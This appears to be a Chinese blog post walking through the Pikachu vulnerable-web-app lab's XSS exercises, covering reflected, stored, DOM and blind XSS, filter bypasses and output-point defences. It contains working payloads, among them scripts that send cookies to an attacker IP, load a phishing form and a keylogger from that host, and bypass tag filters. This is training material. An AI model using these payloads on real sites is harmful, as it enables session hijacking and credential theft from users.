Pikachu---XSS

XSS

概述:

  1. XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直位列前三。
  2. XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。
  3. XSS漏洞可以用来进行钓鱼攻击、前端js挖矿或用户cookie获取,甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。

XSS窃取cookie的攻击流程:

XSS常见类型:

XSS形成原因:

XSS测试流程:

注意:

反射型XSS(get):

输入一些敏感字符,发现被原封不动的输出了,说明存在XSS漏洞。

但发现无法输入过长字符,打开火狐浏览器工具---Web开发者中的Firebug,选中输入框,将长度限制改大一些。

输入<script>alert('xss')</script>成功弹窗。

后台服务器不对输入内容进行存储,重新刷新页面不再弹窗。

存储型XSS:

与反射型XSS的区别:

 

输入一些敏感字符,发现被原封不动的输出了,说明存在XSS漏洞。

输入<script>alert('xss')</script>成功弹窗。

后台服务器会对输入内容进行存储,重新刷新页面再次弹窗。

DOM型XSS:

与反射型XSS和存储型的区别:

不与后台服务器进行数据交互,直接在前端执行。

可以在w3school中检索DOM的用法。

首先查看页面源代码:

发现在text中输入的内容会赋值给str拼接到a标签的href中,a标签被写入到id=dom中输出。

原代码:

<a href='   "+str+"   '>what do you see?</a>

修改后的代码:

<a href='   #' onclick="alert(111)">   '>what do you see?</a>

输入#' onclick="alert(111)">,点击'>what do you see?,成功弹窗。

不与后台服务器进行交互,重新刷新页面不再弹窗。

DOM型XSS-X:

首先查看页面源代码:

与DOM型XSS的区别:

输入的内容会显示在url中,以get的方式传递数据。

弹出a标签后,点击弹出value,点击弹出的value,就会输出表单中的内容。

和DOM型XSS一样输入#' onclick="alert(111)">,成功弹窗。

GET型XSS利用:cookie获取:

192.168.18.21为用户。

192.168.18.11为攻击者。(获取用户页面的cookie)

攻击者主机操作:

点击Pikachu漏洞练习平台的左下角管理工具中的XSS后台,点击初始化安装。

点击安装后点击“点击这里”返回首页。

输入用户名和密码点击登录。

可以看到测试模块。

点击cookie搜集,没有任何数据。

打开网站根目录下的pikachu-master---pkxss---xcookie---cookie.php,修改重定向地址为漏洞平台首页,使用户点击后察觉不到被攻击。

用户主机操作:

打开反射型XSS(get)关卡,将修改输入内容长度限制后输入

<script>document.location = 'http://192.168.18.11/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

点击提交后跳到首页。

在攻击者主机的XSS后台刷新页面,发现获取到了用户的cookie。

POST型XSS利用:cookie获取:

攻击流程:

192.168.18.21为用户。

192.168.18.11为攻击者。(获取用户页面的cookie)

因为是以post的方式传递数据,所以无法直接在原页面获取用户的cookie,可以伪造相同页面,使用户点击伪造页面后自动post表单数据,间接执行js,发送cookie至攻击者。

攻击者伪造页面源码,需修改用户和攻击者的IP。

攻击者将伪造页面链接发送给用户,用户点击后跳转到首页,攻击者就完成了对用户的cookie获取。

存储型XSS-钓鱼攻击:

攻击流程:

192.168.18.21为用户。

192.168.18.11为攻击者。(获取用户页面的用户名和密码)

在页面嵌入js恶意代码弹窗,诱导用户在弹窗输入用户名和密码,再直接发送给攻击者主机。

攻击者主机操作:

点击钓鱼结果,没有任何数据。

构造钓鱼js程序:

前端代码(弹窗,结果发送至攻击者后台):

打开网站根目录下的pikachu-master---pkxss---xfish---fish.php,修改攻击者主机IP。

后端代码(获取用户输入的用户名和密码,存入数据库):

打开网站根目录下的pikachu-master---pkxss---xfish---xfish.php。

攻击者在页面输入:

<script src="http://192.168.18.11/pikachu-master/pkxss/xfish/fish.php"></script>

弹窗后用户输入用户名和密码,点击确定。

攻击者主机XSS后台获取到用户名和密码。

因为是存储型XSS,所以每次刷新页面都会弹窗,从而对所有用户造成持久性攻击。

XSS获取键盘记录:

跨域:

不同域举例:

同源策略:

同源策略的必要性举例:

192.168.18.21为用户。

192.168.18.11为攻击者。

攻击者主机操作:

点击键盘记录,没有任何数据:

构造攻击的js代码,对用户的键盘输入进行获取,再异步地发送至攻击者主机XSS后台。

在存储型XSS页面输入

<script src="http://192.168.18.11/pikachu-master/pkxss/rkeypress/rk.js"></script>

点击提交。

打开火狐浏览器工具---Web开发者---Web控制台,在页面随便敲键盘,控制台会提示错误,js调用失败,敲一下键盘调用一次。

因为调用js属于跨域操作,同源策略会拒绝访问。

但攻击者可以修改后台代码,使所有人都可以访问自己的IP,使同源策略失效,从而实现跨域操作。

打开网站根目录下的pikachu-master/pkxss/xkeypress/xkeyserver.php,添加允许所有人跨域操作的代码:

打开存储型XSS,之前已经将js嵌入到了页面,不必重复操作,直接敲键盘,控制台没有提示错误,打开攻击者主机XSS后台即可看到获取的用户键盘记录。

XSS之盲打:

盲打不是一种攻击方式,而是一种攻击场景。

随便输入一组内容,点击提交,页面没有回显,根据提示可知输入的内容仅管理员可见,也就是说存入了后台服务器。

 类似于存储型XSS,只不过是在后台服务器存储,输入:

<script>alert('zjj')</script>

zjj

没有弹窗,点击右上角提示进入管理员后台登录界面,输入账号密码登录后发现弹窗了。

攻击者只是尝试性进行XSS攻击,如果后台没有对存储的内容进行过滤,那么就相当于攻击成功。

盲打一旦成功,危害巨大,直接盗取管理员登录的cookie,再以管理员的身份登录后台,所有用户信息便一览无余。

XSS绕过:

XSS绕过-过滤-转换:

前端的防护措施本质上是无效的,后3条类似于SQL注入的绕过手段。

XSS绕过-过滤-编码:

注意:

在使用编码时要注意编码在输出点是否被正常识别和翻译!

举例:

综上:XSS绕过的方法有很多,取决于攻击者的思路和对前端技术的掌握程度。

打开XSS之过滤,输入

<script>'/;"&zjj

发现<script>标签被过滤了,使用大小写进行绕过,输入

<ScrIpt>alert('zjj')</ScrIpt>

成功弹窗。

也可以输入

<img src=x onerror="alert('zjj')"/>

效果是一样的。

XSS之htmlspecialchars:

关于htmlspecialchars函数介绍:

其实该函数与SQL注入中的转义函数类似,只不过一个是用在html中,一个用在php中。

在本关卡输入特殊字符:

zjj'/"<>

发现被原样输出在页面上。

右击查看页面源代码,发现除单引号和反斜杠外,其余符号均被转义了,说明htmlspecialchars使用的是默认类型。

输入恶意js代码:

zjj' onclick='alert(111)'

点击提交后点击输出结果,成功弹窗。

推荐编码时使用ENT-QUOTES类型的htmlspecialchars。

XSS防范措施及herf和js输出点的案例演示:

XSS之herf输出:

查看关卡源码:

发现这里输出的结果在a标签的herf属性里面,可以使用javascript协议来执行js,输入

javascript:alert(111)

点击提示成功弹窗。

可以在输入时只允许http,https,其次在进行htmlspecialchars处理。

XSS之js输出:

查看关卡源码:

发现输入的代码被放在了js中,可以将ms中的代码进行闭合,输入

x'</script><script>alert('xss')</script>

成功弹窗。

查看源码中的注释:

在实际应用场景中,需要根据其具体的输出点进行防御。

posted @ 2020-03-20 12:14  强霸卓奇霸  阅读(471)  评论(0)    收藏  举报
https://blog-static.cnblogs.com/files/xiaokang01/js.js 这是添加的文件的链接 color="240,230,140" 粒子的颜色设置 opacity="1" 粒子的透明度 count="75" 粒子的个数